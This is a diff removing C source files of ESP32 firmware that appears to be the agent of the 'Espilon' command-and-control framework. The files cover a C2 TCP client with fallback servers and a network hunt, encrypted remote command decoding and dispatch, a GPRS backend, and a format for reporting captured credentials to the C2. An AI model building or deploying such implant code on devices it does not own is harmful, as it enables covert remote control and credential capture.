#endif /* CONFIG_C2_VERIFY_SERVER */
/* =========================================================
* Handle incoming frame
* ========================================================= */
static void handle_frame(const uint8_t *buf, size_t len)
{
if (len == 0 || len >= RX_BUF_SIZE) {
ESP_LOGW(TAG, "Frame too large or empty (%d bytes), dropping", (int)len);
return;
}
/* buf is already null-terminated by strtok in tcp_rx_loop,
and c2_decode_and_exec makes its own 1024-byte copy. */
c2_decode_and_exec((const char *)buf);
}
/* =========================================================
* TCP RX loop
* Returns: true = still connected, false = disconnected
* ========================================================= */
static bool tcp_rx_loop(void)
{
static uint8_t rx_buf[RX_BUF_SIZE];
xSemaphoreTake(sock_mutex, portMAX_DELAY);
int current_sock = sock;
xSemaphoreGive(sock_mutex);
if (current_sock < 0) return false;
int len = lwip_recv(current_sock, rx_buf, sizeof(rx_buf) - 1, 0);
if (len < 0) {
/* Timeout is normal (EAGAIN/EWOULDBLOCK) — not a disconnect */
if (errno == EAGAIN || errno == EWOULDBLOCK) {
return true;
}
ESP_LOGW(TAG, "RX error: errno=%d", errno);
xSemaphoreTake(sock_mutex, portMAX_DELAY);
lwip_close(sock);
sock = -1;
xSemaphoreGive(sock_mutex);
return false;
}
if (len == 0) {
ESP_LOGW(TAG, "RX: peer closed connection");
xSemaphoreTake(sock_mutex, portMAX_DELAY);
lwip_close(sock);
sock = -1;
xSemaphoreGive(sock_mutex);
return false;
}
/* IMPORTANT: string termination for strtok */
rx_buf[len] = '\0';
char *saveptr = NULL;
char *line = strtok_r((char *)rx_buf, "\n", &saveptr);
while (line) {
handle_frame((uint8_t *)line, strlen(line));
line = strtok_r(NULL, "\n", &saveptr);
}
return true;
}
/* =========================================================
* C2 failover: try NVS fallback addresses on same network
* ========================================================= */
#ifdef CONFIG_FB_AUTO_HUNT
static bool try_fallback_c2s(void)
{
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
for (int i = 0; i < count; i++) {
char ip_buf[48];
int port = CONFIG_SERVER_PORT;
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
ip_buf[sizeof(ip_buf) - 1] = '\0';
/* Parse "ip:port" format */
char *colon = strrchr(ip_buf, ':');
if (colon) {
*colon = '\0';
port = atoi(colon + 1);
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
}
ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port);
/* Close current socket */
xSemaphoreTake(sock_mutex, portMAX_DELAY);
if (sock >= 0) { lwip_close(sock); sock = -1; }
xSemaphoreGive(sock_mutex);
/* Try connect to fallback C2 */
struct sockaddr_in server_addr = {0};
int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (new_sock < 0) continue;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
server_addr.sin_addr.s_addr = inet_addr(ip_buf);
if (lwip_connect(new_sock, (struct sockaddr *)&server_addr,
sizeof(server_addr)) != 0) {
lwip_close(new_sock);
continue;
}
struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
xSemaphoreTake(sock_mutex, portMAX_DELAY);
sock = new_sock;
xSemaphoreGive(sock_mutex);
ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port);
return true;
}
return false;
}
#endif /* CONFIG_FB_AUTO_HUNT */
/* =========================================================
* Main TCP client task
* ========================================================= */
void tcp_client_task(void *pvParameters)
{
if (!sock_mutex)
sock_mutex = xSemaphoreCreateMutex();
#ifdef CONFIG_FB_AUTO_HUNT
int tcp_fail_count = 0;
#endif
while (1) {
/* If fallback hunt is active, wait for it to finish */
while (fb_active) {
vTaskDelay(pdMS_TO_TICKS(1000));
}
if (!tcp_connect()) {
#ifdef CONFIG_FB_AUTO_HUNT
tcp_fail_count++;
ESP_LOGW(TAG, "TCP connect failed (%d/%d)",
tcp_fail_count, CONFIG_FB_TCP_FAIL_THRESHOLD);
if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD && !fb_active) {
/* Level 1: C2 failover on same network */
if (try_fallback_c2s()) {
tcp_fail_count = 0;
goto handshake;
}
/* Level 2: full network hunt */
ESP_LOGW(TAG, "All C2 unreachable — triggering fallback hunt");
fb_hunt_trigger();
tcp_fail_count = 0;
continue;
}
#endif
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
continue;
}
#ifdef CONFIG_FB_AUTO_HUNT
tcp_fail_count = 0;
#endif
#ifdef CONFIG_C2_VERIFY_SERVER
if (!server_verify()) {
ESP_LOGE(TAG, "Server verification FAILED - possible MITM");
xSemaphoreTake(sock_mutex, portMAX_DELAY);
lwip_close(sock);
sock = -1;
xSemaphoreGive(sock_mutex);
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
continue;
}
ESPILON_LOGI_PURPLE(TAG, "Server identity verified (AEAD challenge OK)");
#endif
#ifdef CONFIG_FB_AUTO_HUNT
handshake:
#endif
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
ESP_LOGI(TAG, "Handshake done");
while (sock >= 0) {
if (!tcp_rx_loop()) break;
vTaskDelay(1);
}
ESP_LOGW(TAG, "Disconnected, retrying...");
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
}
}
#endif /* CONFIG_NETWORK_WIFI */

View File

@ -1,51 +0,0 @@
#include "utils.h"
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
static const char *TAG = "COM";
bool com_init(void)
{
#ifdef CONFIG_NETWORK_WIFI
ESPILON_LOGI_PURPLE(TAG, "Init WiFi backend");
wifi_init();
/* Task WiFi déjà complète (connect + handshake + RX) */
xTaskCreatePinnedToCore(
tcp_client_task,
"tcp_client_task",
12288,
NULL,
1,
NULL,
0
);
return true;
#elif defined(CONFIG_NETWORK_GPRS)
ESPILON_LOGI_PURPLE(TAG, "Init GPRS backend");
setup_uart();
setup_modem();
xTaskCreatePinnedToCore(
gprs_client_task,
"gprs_client_task",
8192,
NULL,
1,
NULL,
0
);
return true;
#else
#error "No network backend selected"
#endif
}

View File

@ -1,227 +0,0 @@
#include "utils.h"
#include "esp_log.h"
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
static const char *TAG = "COMMAND";
static const command_t *registry[MAX_COMMANDS];
static size_t registry_count = 0;
/* Max longueur lue/copied par arg (sécurité si non \0) */
#ifndef COMMAND_MAX_ARG_LEN
#define COMMAND_MAX_ARG_LEN 128
#endif
/* Max args temporaires quon accepte ici (doit couvrir tes commandes) */
#ifndef COMMAND_MAX_ARGS
#define COMMAND_MAX_ARGS 16
#endif
/* =========================================================
* Register command
* ========================================================= */
void command_register(const command_t *cmd)
{
if (!cmd || !cmd->name || !cmd->handler) {
ESP_LOGE(TAG, "Invalid command registration");
return;
}
if (registry_count >= MAX_COMMANDS) {
ESP_LOGE(TAG, "Command registry full");
return;
}
registry[registry_count++] = cmd;
#ifdef CONFIG_ESPILON_LOG_CMD_REG_VERBOSE
ESPILON_LOGI_PURPLE(TAG, "Registered command: %s", cmd->name);
#endif
}
/* =========================================================
* Summary
* ========================================================= */
void command_log_registry_summary(void)
{
if (registry_count == 0) {
ESPILON_LOGI_PURPLE(TAG, "Registered commands: none");
return;
}
char buf[512];
int off = snprintf(
buf,
sizeof(buf),
"Registered commands (%d): ",
(int)registry_count
);
for (size_t i = 0; i < registry_count; i++) {
const char *name = registry[i] && registry[i]->name
? registry[i]->name : "?";
const char *sub = (registry[i] && registry[i]->sub && registry[i]->sub[0])
? registry[i]->sub : NULL;
const char *sep = (i == 0) ? "" : ", ";
int n;
if (sub) {
n = snprintf(buf + off, sizeof(buf) - (size_t)off,
"%s%s %s", sep, name, sub);
} else {
n = snprintf(buf + off, sizeof(buf) - (size_t)off,
"%s%s", sep, name);
}
if (n < 0 || n >= (int)(sizeof(buf) - (size_t)off)) {
if (off < (int)sizeof(buf) - 4) {
memcpy(buf + (sizeof(buf) - 4), "...", 4);
}
break;
}
off += n;
}
ESPILON_LOGI_PURPLE(TAG, "%s", buf);
}
/* =========================================================
* Helpers: deep-copy argv into one arena + argv[] pointers
* ========================================================= */
static bool deepcopy_argv(char *const *argv_in,
int argc,
char ***argv_out,
char **arena_out,
const char *req_id)
{
*argv_out = NULL;
*arena_out = NULL;
if (argc < 0) {
msg_error("cmd", "Invalid argc", req_id);
return false;
}
if (argc == 0) {
char **argv0 = (char **)calloc(1, sizeof(char *));
if (!argv0) {
msg_error("cmd", "OOM copying argv", req_id);
return false;
}
*argv_out = argv0;
*arena_out = NULL;
return true;
}
size_t total = 0;
for (int i = 0; i < argc; i++) {
const char *s = (argv_in && argv_in[i]) ? argv_in[i] : "";
size_t n = strnlen(s, COMMAND_MAX_ARG_LEN);
total += (n + 1);
}
char *arena = (char *)malloc(total ? total : 1);
char **argv_copy = (char **)malloc((size_t)argc * sizeof(char *));
if (!arena || !argv_copy) {
free(arena);
free(argv_copy);
msg_error("cmd", "OOM copying argv", req_id);
return false;
}
size_t off = 0;
for (int i = 0; i < argc; i++) {
const char *s = (argv_in && argv_in[i]) ? argv_in[i] : "";
size_t n = strnlen(s, COMMAND_MAX_ARG_LEN);
argv_copy[i] = &arena[off];
memcpy(&arena[off], s, n);
arena[off + n] = '\0';
off += (n + 1);
}
*argv_out = argv_copy;
*arena_out = arena;
return true;
}
/* =========================================================
* Dispatch nanopb command
* ========================================================= */
void command_process_pb(const c2_Command *cmd)
{
if (!cmd) return;
/* nanopb: tableaux fixes => jamais NULL */
const char *name = cmd->command_name;
const char *reqid = cmd->request_id;
const char *reqid_or_null = (reqid[0] ? reqid : NULL);
int argc = cmd->argv_count;
for (size_t i = 0; i < registry_count; i++) {
const command_t *c = registry[i];
if (strcmp(c->name, name) != 0)
continue;
/*
* Sub-command matching: if the command has a .sub field,
* argv[0] must match it. The sub is consumed (argv shifted
* by 1) before passing to the handler.
*/
int sub_offset = 0;
if (c->sub && c->sub[0]) {
if (argc < 1 || strcmp(cmd->argv[0], c->sub) != 0)
continue; /* not this sub-command, try next */
sub_offset = 1;
}
int effective_argc = argc - sub_offset;
if (effective_argc < c->min_args || effective_argc > c->max_args) {
msg_error("cmd", "Invalid argument count", reqid_or_null);
return;
}
if (c->sub && c->sub[0]) {
ESP_LOGI(TAG, "Execute: %s %s (argc=%d)", name, c->sub, effective_argc);
} else {
ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, effective_argc);
}
if (c->async) {
command_async_enqueue(c, cmd, sub_offset);
return;
}
/* ================================
* SYNC PATH:
* Build argv_ptrs[] from cmd->argv, skipping sub_offset
* ================================ */
if (effective_argc > COMMAND_MAX_ARGS) {
msg_error("cmd", "Too many args", reqid_or_null);
return;
}
char *argv_ptrs[COMMAND_MAX_ARGS] = {0};
for (int a = 0; a < effective_argc; a++) {
argv_ptrs[a] = (char *)cmd->argv[a + sub_offset];
}
/* Deep-copy pour rendre sync aussi safe que async */
char **argv_copy = NULL;
char *arena = NULL;
if (!deepcopy_argv(argv_ptrs, effective_argc, &argv_copy, &arena, reqid_or_null))
return;
c->handler(effective_argc, argv_copy, reqid_or_null, c->ctx);
free(argv_copy);
free(arena);
return;
}
msg_error("cmd", "Unknown command", reqid_or_null);
}

View File

@ -1,204 +0,0 @@
#include "utils.h"
#include "esp_log.h"
#include "esp_timer.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/queue.h"
#include <string.h>
#include <stdio.h>
static const char *TAG = "CMD_ASYNC";
/* =========================================================
* Configuration
* ========================================================= */
#ifndef CONFIG_ASYNC_WORKER_COUNT
#define CONFIG_ASYNC_WORKER_COUNT 2
#endif
#ifndef CONFIG_ASYNC_QUEUE_DEPTH
#define CONFIG_ASYNC_QUEUE_DEPTH 8
#endif
#define ASYNC_WORKER_STACK 4096
#define WATCHDOG_INTERVAL_MS 5000
#define WATCHDOG_TIMEOUT_US (60 * 1000000LL) /* 60s */
/* =========================================================
* Async job structure
* ========================================================= */
typedef struct {
const command_t *cmd;
int argc;
char argv[MAX_ASYNC_ARGS][MAX_ASYNC_ARG_LEN];
char *argv_ptrs[MAX_ASYNC_ARGS];
char request_id[64];
} async_job_t;
/* =========================================================
* Per-worker state (watchdog tracking)
* ========================================================= */
typedef struct {
volatile int64_t start_us; /* 0 = idle */
volatile bool alerted; /* already reported to C2 */
const char *cmd_name; /* current command name */
char request_id[64];
} worker_state_t;
static QueueHandle_t async_queue;
static worker_state_t worker_states[CONFIG_ASYNC_WORKER_COUNT];
/* =========================================================
* Watchdog task monitors workers for stuck commands
* ========================================================= */
static void watchdog_task(void *arg)
{
while (1) {
vTaskDelay(pdMS_TO_TICKS(WATCHDOG_INTERVAL_MS));
int64_t now = esp_timer_get_time();
for (int i = 0; i < CONFIG_ASYNC_WORKER_COUNT; i++) {
worker_state_t *ws = &worker_states[i];
if (ws->start_us == 0 || ws->alerted)
continue;
int64_t elapsed = now - ws->start_us;
if (elapsed > WATCHDOG_TIMEOUT_US) {
int secs = (int)(elapsed / 1000000LL);
char buf[128];
snprintf(buf, sizeof(buf),
"Worker %d stuck: '%s' running for %ds",
i, ws->cmd_name ? ws->cmd_name : "?", secs);
ESP_LOGW(TAG, "%s", buf);
msg_error("cmd_async", buf,
ws->request_id[0] ? ws->request_id : NULL);
ws->alerted = true;
}
}
}
}
/* =========================================================
* Worker task (multiple instances share the same queue)
* ========================================================= */
static void async_worker(void *arg)
{
int worker_id = (int)(intptr_t)arg;
worker_state_t *ws = &worker_states[worker_id];
async_job_t job;
while (1) {
if (xQueueReceive(async_queue, &job, portMAX_DELAY)) {
/* Recompute argv_ptrs to point into THIS copy's argv buffers.
* xQueueReceive copies the struct by value, so the old
* pointers (set at enqueue time) are now dangling. */
for (int i = 0; i < job.argc; i++) {
job.argv_ptrs[i] = job.argv[i];
}
/* Mark worker as busy for watchdog */
ws->cmd_name = job.cmd->name;
strncpy(ws->request_id, job.request_id, sizeof(ws->request_id) - 1);
ws->alerted = false;
ws->start_us = esp_timer_get_time();
ESP_LOGI(TAG, "Worker %d exec: %s", worker_id, job.cmd->name);
job.cmd->handler(
job.argc,
job.argv_ptrs,
job.request_id[0] ? job.request_id : NULL,
job.cmd->ctx
);
/* Mark worker as idle */
ws->start_us = 0;
}
}
}
/* =========================================================
* Init async system
* ========================================================= */
void command_async_init(void)
{
memset(worker_states, 0, sizeof(worker_states));
async_queue = xQueueCreate(CONFIG_ASYNC_QUEUE_DEPTH, sizeof(async_job_t));
if (!async_queue) {
ESP_LOGE(TAG, "Failed to create async queue");
return;
}
for (int i = 0; i < CONFIG_ASYNC_WORKER_COUNT; i++) {
char name[16];
snprintf(name, sizeof(name), "cmd_async_%d", i);
BaseType_t ret = xTaskCreatePinnedToCore(
async_worker,
name,
ASYNC_WORKER_STACK,
(void *)(intptr_t)i,
5,
NULL,
1 /* Core 1 */
);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create worker %d", i);
}
}
/* Watchdog: low priority, small stack, Core 0 */
xTaskCreatePinnedToCore(watchdog_task, "cmd_wdog", 2048,
NULL, 2, NULL, 0);
ESPILON_LOGI_PURPLE(TAG, "Async command system ready (%d workers, watchdog on)",
CONFIG_ASYNC_WORKER_COUNT);
}
/* =========================================================
* Enqueue async command
* ========================================================= */
void command_async_enqueue(const command_t *cmd,
const c2_Command *pb_cmd,
int argv_offset)
{
if (!cmd || !pb_cmd) return;
async_job_t job = {0};
job.cmd = cmd;
job.argc = pb_cmd->argv_count - argv_offset;
if (job.argc > MAX_ASYNC_ARGS)
job.argc = MAX_ASYNC_ARGS;
if (job.argc < 0)
job.argc = 0;
for (int i = 0; i < job.argc; i++) {
strncpy(job.argv[i],
pb_cmd->argv[i + argv_offset],
MAX_ASYNC_ARG_LEN - 1);
job.argv[i][MAX_ASYNC_ARG_LEN - 1] = '\0';
job.argv_ptrs[i] = job.argv[i];
}
if (pb_cmd->request_id[0]) {
strncpy(job.request_id,
pb_cmd->request_id,
sizeof(job.request_id) - 1);
job.request_id[sizeof(job.request_id) - 1] = '\0';
}
if (xQueueSend(async_queue, &job, 0) != pdTRUE) {
char buf[128];
snprintf(buf, sizeof(buf), "Async queue full, dropped '%s'",
cmd->name);
ESP_LOGE(TAG, "%s", buf);
msg_error("cmd_async", buf, pb_cmd->request_id);
}
}

View File

@ -1,356 +0,0 @@
// crypto.c ChaCha20-Poly1305 AEAD with HKDF key derivation
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "esp_log.h"
#include "esp_random.h"
#include "nvs_flash.h"
#include "nvs.h"
#include "mbedtls/chachapoly.h"
#include "mbedtls/hkdf.h"
#include "mbedtls/md.h"
#include "mbedtls/base64.h"
#include "mbedtls/platform_util.h"
#include "pb_decode.h"
#include "c2.pb.h"
#include "utils.h"
static const char *TAG = "CRYPTO";
#define NONCE_LEN 12
#define TAG_LEN 16
#define KEY_LEN 32
#define OVERHEAD (NONCE_LEN + TAG_LEN) /* 28 bytes */
static uint8_t derived_key[KEY_LEN];
static bool crypto_ready = false;
/* ============================================================
* crypto_init read master key from factory NVS, derive via HKDF
* ============================================================ */
bool crypto_init(void)
{
esp_err_t err;
/* 1) Init the factory NVS partition */
err = nvs_flash_init_partition("fctry");
if (err != ESP_OK) {
ESP_LOGE(TAG, "nvs_flash_init_partition(fctry) failed: %s",
esp_err_to_name(err));
return false;
}
/* 2) Open the crypto namespace (read-only) */
nvs_handle_t handle;
err = nvs_open_from_partition(
"fctry",
CONFIG_CRYPTO_FCTRY_NS,
NVS_READONLY,
&handle
);
if (err != ESP_OK) {
ESP_LOGE(TAG, "nvs_open_from_partition(fctry/%s) failed: %s",
CONFIG_CRYPTO_FCTRY_NS, esp_err_to_name(err));
return false;
}
/* 3) Read the 32-byte master key blob */
uint8_t master_key[KEY_LEN];
size_t mk_len = sizeof(master_key);
err = nvs_get_blob(handle, CONFIG_CRYPTO_FCTRY_KEY, master_key, &mk_len);
nvs_close(handle);
if (err != ESP_OK || mk_len != KEY_LEN) {
ESP_LOGE(TAG, "nvs_get_blob(%s) failed: %s (len=%u)",
CONFIG_CRYPTO_FCTRY_KEY, esp_err_to_name(err),
(unsigned)mk_len);
mbedtls_platform_zeroize(master_key, sizeof(master_key));
return false;
}
/* 4) HKDF-SHA256: derive the encryption key */
const char *info = "espilon-c2-v1";
const char *salt = CONFIG_DEVICE_ID;
int ret = mbedtls_hkdf(
mbedtls_md_info_from_type(MBEDTLS_MD_SHA256),
(const uint8_t *)salt, strlen(salt),
master_key, KEY_LEN,
(const uint8_t *)info, strlen(info),
derived_key, KEY_LEN
);
/* Wipe master key from RAM immediately */
mbedtls_platform_zeroize(master_key, sizeof(master_key));
if (ret != 0) {
ESP_LOGE(TAG, "HKDF failed (%d)", ret);
return false;
}
crypto_ready = true;
ESP_LOGI(TAG, "Crypto ready (ChaCha20-Poly1305 + HKDF)");
return true;
}
/* ============================================================
* crypto_encrypt ChaCha20-Poly1305 AEAD
*
* Output layout: nonce[12] || ciphertext[plain_len] || tag[16]
* Returns total output length, or -1 on error.
* ============================================================ */
int crypto_encrypt(const uint8_t *plain, size_t plain_len,
uint8_t *out, size_t out_cap)
{
if (!crypto_ready) {
ESP_LOGE(TAG, "crypto_encrypt: not initialized");
return -1;
}
if (!plain || plain_len == 0 || !out) {
ESP_LOGE(TAG, "crypto_encrypt: invalid args");
return -1;
}
size_t needed = plain_len + OVERHEAD;
if (out_cap < needed) {
ESP_LOGE(TAG, "crypto_encrypt: buffer too small (%u < %u)",
(unsigned)out_cap, (unsigned)needed);
return -1;
}
/* Random nonce in the first 12 bytes */
esp_fill_random(out, NONCE_LEN);
mbedtls_chachapoly_context ctx;
mbedtls_chachapoly_init(&ctx);
mbedtls_chachapoly_setkey(&ctx, derived_key);
int ret = mbedtls_chachapoly_encrypt_and_tag(
&ctx,
plain_len,
out, /* nonce */
NULL, 0, /* no AAD */
plain, /* input */
out + NONCE_LEN, /* output (ciphertext) */
out + NONCE_LEN + plain_len /* tag */
);
mbedtls_chachapoly_free(&ctx);
if (ret != 0) {
ESP_LOGE(TAG, "chachapoly encrypt failed (%d)", ret);
return -1;
}
return (int)needed;
}
/* ============================================================
* crypto_decrypt ChaCha20-Poly1305 AEAD
*
* Input layout: nonce[12] || ciphertext[N] || tag[16]
* Returns plaintext length, or -1 on error / auth failure.
* ============================================================ */
int crypto_decrypt(const uint8_t *in, size_t in_len,
uint8_t *out, size_t out_cap)
{
if (!crypto_ready) {
ESP_LOGE(TAG, "crypto_decrypt: not initialized");
return -1;
}
if (!in || in_len < OVERHEAD || !out) {
ESP_LOGE(TAG, "crypto_decrypt: invalid args (in_len=%u)",
(unsigned)in_len);
return -1;
}
size_t ct_len = in_len - OVERHEAD;
if (out_cap < ct_len) {
ESP_LOGE(TAG, "crypto_decrypt: buffer too small");
return -1;
}
const uint8_t *nonce = in;
const uint8_t *ct = in + NONCE_LEN;
const uint8_t *tag = in + NONCE_LEN + ct_len;
mbedtls_chachapoly_context ctx;
mbedtls_chachapoly_init(&ctx);
mbedtls_chachapoly_setkey(&ctx, derived_key);
int ret = mbedtls_chachapoly_auth_decrypt(
&ctx,
ct_len,
nonce,
NULL, 0, /* no AAD */
tag,
ct,
out
);
mbedtls_chachapoly_free(&ctx);
if (ret != 0) {
ESP_LOGE(TAG, "AEAD auth/decrypt failed (%d)", ret);
return -1;
}
return (int)ct_len;
}
/* ============================================================
* Base64 encode
* ============================================================ */
char *base64_encode(const unsigned char *input, size_t input_len)
{
if (!input || input_len == 0) {
ESP_LOGE(TAG, "Invalid input to base64_encode");
return NULL;
}
size_t out_len = 4 * ((input_len + 2) / 3);
char *out = (char *)malloc(out_len + 1);
if (!out) {
ESP_LOGE(TAG, "malloc failed in base64_encode");
return NULL;
}
size_t written = 0;
int ret = mbedtls_base64_encode(
(unsigned char *)out,
out_len + 1,
&written,
input,
input_len
);
if (ret != 0) {
ESP_LOGE(TAG, "base64 encode failed (%d)", ret);
free(out);
return NULL;
}
out[written] = '\0';
return out;
}
/* ============================================================
* Base64 decode
* ============================================================ */
char *base64_decode(const char *input, size_t *output_len)
{
if (!input || !output_len) {
ESP_LOGE(TAG, "Invalid input to base64_decode");
return NULL;
}
size_t in_len = strlen(input);
size_t est_len = (in_len * 3) / 4;
unsigned char *out = (unsigned char *)malloc(est_len + 1);
if (!out) {
ESP_LOGE(TAG, "malloc failed in base64_decode");
return NULL;
}
int ret = mbedtls_base64_decode(
out,
est_len + 1,
output_len,
(const unsigned char *)input,
in_len
);
if (ret != 0) {
ESP_LOGE(TAG, "base64 decode failed (%d)", ret);
free(out);
return NULL;
}
out[*output_len] = '\0';
return (char *)out;
}
/* ============================================================
* C2: Decode + decrypt + protobuf + exec (COMMON WIFI/GPRS)
* ============================================================ */
bool c2_decode_and_exec(const char *frame)
{
if (!frame || !frame[0]) {
ESP_LOGW(TAG, "Empty C2 frame");
return false;
}
/* Trim CR/LF/spaces at end (SIM800 sometimes adds \r) */
char tmp[1024];
size_t n = strnlen(frame, sizeof(tmp) - 2);
memcpy(tmp, frame, n);
tmp[n] = '\0';
while (n > 0 && (tmp[n - 1] == '\r' || tmp[n - 1] == '\n' || tmp[n - 1] == ' ')) {
tmp[--n] = '\0';
}
ESP_LOGD(TAG, "C2 RX b64 (%u bytes)", (unsigned)n);
/* 1) Base64 decode */
size_t decoded_len = 0;
char *decoded = base64_decode(tmp, &decoded_len);
if (!decoded || decoded_len == 0) {
ESP_LOGE(TAG, "Base64 decode failed");
free(decoded);
return false;
}
/* 2) Decrypt + authenticate (AEAD) */
uint8_t plain[1024];
int plain_len = crypto_decrypt(
(const uint8_t *)decoded, decoded_len,
plain, sizeof(plain)
);
free(decoded);
if (plain_len < 0) {
ESP_LOGE(TAG, "Decrypt/auth failed tampered or wrong key");
return false;
}
/* 3) Protobuf decode -> c2_Command */
c2_Command cmd = c2_Command_init_zero;
pb_istream_t is = pb_istream_from_buffer(plain, (size_t)plain_len);
if (!pb_decode(&is, c2_Command_fields, &cmd)) {
ESP_LOGE(TAG, "PB decode error: %s", PB_GET_ERROR(&is));
return false;
}
/* 4) Log + dispatch */
#ifdef CONFIG_ESPILON_LOG_C2_VERBOSE
ESP_LOGI(TAG, "==== C2 COMMAND ====");
ESP_LOGI(TAG, "name: %s", cmd.command_name);
ESP_LOGI(TAG, "argc: %d", cmd.argv_count);
if (cmd.request_id[0]) ESP_LOGI(TAG, "req : %s", cmd.request_id);
for (int i = 0; i < cmd.argv_count; i++) {
ESP_LOGI(TAG, "arg[%d]=%s", i, cmd.argv[i]);
}
ESP_LOGI(TAG, "====================");
#else
ESP_LOGI(
TAG,
"C2 CMD: %s argc=%d req=%s",
cmd.command_name,
cmd.argv_count,
cmd.request_id[0] ? cmd.request_id : "-"
);
for (int i = 0; i < cmd.argv_count; i++) {
ESP_LOGD(TAG, "arg[%d]=%s", i, cmd.argv[i]);
}
#endif
process_command(&cmd);
return true;
}

View File

@ -1,48 +0,0 @@
/*
* event_format.h
* Generic wire format for security events (honeypot, fakeAP, etc.).
*
* Wire format: EVT|<type>|<severity>|<mac>|<ip>:<sport>><dport>|<detail>
* Parsed by HpStore.parse_and_store() on the C2 side.
*/
#pragma once
#include <stdio.h>
#include <string.h>
#include "utils.h"
/**
* Send a security event to the C2 via msg_data().
*
* @param event_type e.g. "SVC_AUTH_ATTEMPT", "WIFI_PROBE", "PORT_SCAN"
* @param severity "LOW", "MEDIUM", "HIGH", "CRITICAL"
* @param src_mac "aa:bb:cc:dd:ee:ff" or "00:00:00:00:00:00"
* @param src_ip Source IP address
* @param src_port Source port (0 if unknown)
* @param dst_port Destination port
* @param detail Free-form detail, e.g. "user='admin' pass='1234'"
* @param request_id NULL or request_id for response routing
* @return true on success, false on truncation or send failure
*/
static inline bool event_send(
const char *event_type,
const char *severity,
const char *src_mac,
const char *src_ip,
int src_port,
int dst_port,
const char *detail,
const char *request_id
) {
char buf[256];
int len = snprintf(buf, sizeof(buf),
"EVT|%s|%s|%s|%s:%d>%d|%s",
event_type, severity, src_mac,
src_ip, src_port, dst_port,
detail ? detail : "");
if (len <= 0 || len >= (int)sizeof(buf))
return false;
return msg_data("EVT", buf, (size_t)len, true, request_id);
}

View File

@ -1,418 +0,0 @@
#include <stdbool.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include "driver/uart.h"
#include "driver/gpio.h"
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "utils.h" /* CONFIG_*, base64, crypto, command */
#if defined(CONFIG_NETWORK_GPRS) || defined(CONFIG_FB_GPRS_FALLBACK)
static const char *TAG = "GPRS";
/* ============================================================
* AT HELPERS
* ============================================================ */
static bool at_read(char *buf, size_t size, uint32_t timeout_ms)
{
int len = uart_read_bytes(
UART_NUM,
(uint8_t *)buf,
size - 1,
pdMS_TO_TICKS(timeout_ms)
);
if (len <= 0)
return false;
buf[len] = '\0';
ESP_LOGI(TAG, "AT <- %s", buf);
return true;
}
static bool at_wait_ok(char *buf, size_t size, uint32_t timeout_ms)
{
return at_read(buf, size, timeout_ms) &&
strstr(buf, "OK");
}
void send_at_command(const char *cmd)
{
ESP_LOGI(TAG, "AT -> %s", cmd);
uart_write_bytes(UART_NUM, cmd, strlen(cmd));
uart_write_bytes(UART_NUM, "\r\n", 2);
}
/* ============================================================
* UART / MODEM
* ============================================================ */
void setup_uart(void)
{
uart_config_t cfg = {
.baud_rate = 9600,
.data_bits = UART_DATA_8_BITS,
.parity = UART_PARITY_DISABLE,
.stop_bits = UART_STOP_BITS_1,
.flow_ctrl = UART_HW_FLOWCTRL_DISABLE,
};
uart_param_config(UART_NUM, &cfg);
uart_set_pin(
UART_NUM,
TXD_PIN,
RXD_PIN,
UART_PIN_NO_CHANGE,
UART_PIN_NO_CHANGE
);
uart_driver_install(UART_NUM, BUFF_SIZE * 2, 0, 0, NULL, 0);
}
void setup_modem(void)
{
gpio_set_direction(PWR_EN, GPIO_MODE_OUTPUT);
gpio_set_direction(PWR_KEY, GPIO_MODE_OUTPUT);
gpio_set_direction(RESET, GPIO_MODE_OUTPUT);
gpio_set_level(PWR_EN, 1);
vTaskDelay(pdMS_TO_TICKS(100));
gpio_set_level(PWR_KEY, 1);
vTaskDelay(pdMS_TO_TICKS(100));
gpio_set_level(PWR_KEY, 0);
vTaskDelay(pdMS_TO_TICKS(1200));
gpio_set_level(PWR_KEY, 1);
vTaskDelay(pdMS_TO_TICKS(3000));
}
/* ============================================================
* GSM / GPRS
* ============================================================ */
static bool wait_for_gsm(void)
{
char buf[BUFF_SIZE];
ESP_LOGI(TAG, "Waiting GSM network");
for (int i = 0; i < 30; i++) {
send_at_command("AT+CREG?");
if (at_read(buf, sizeof(buf), 2000)) {
if (strstr(buf, "+CREG: 0,1") ||
strstr(buf, "+CREG: 0,5")) {
ESP_LOGI(TAG, "GSM registered");
return true;
}
}
vTaskDelay(pdMS_TO_TICKS(2000));
}
return false;
}
bool connect_gprs(void)
{
char buf[BUFF_SIZE];
if (!wait_for_gsm()) {
ESP_LOGE(TAG, "No GSM network");
return false;
}
send_at_command("AT+CGATT=1");
if (!at_wait_ok(buf, sizeof(buf), 5000))
return false;
char cmd[96];
snprintf(cmd, sizeof(cmd),
"AT+CSTT=\"%s\",\"\",\"\"",
CONFIG_GPRS_APN);
send_at_command(cmd);
if (!at_wait_ok(buf, sizeof(buf), 3000))
return false;
send_at_command("AT+CIICR");
if (!at_wait_ok(buf, sizeof(buf), 8000))
return false;
send_at_command("AT+CIFSR");
if (!at_read(buf, sizeof(buf), 5000))
return false;
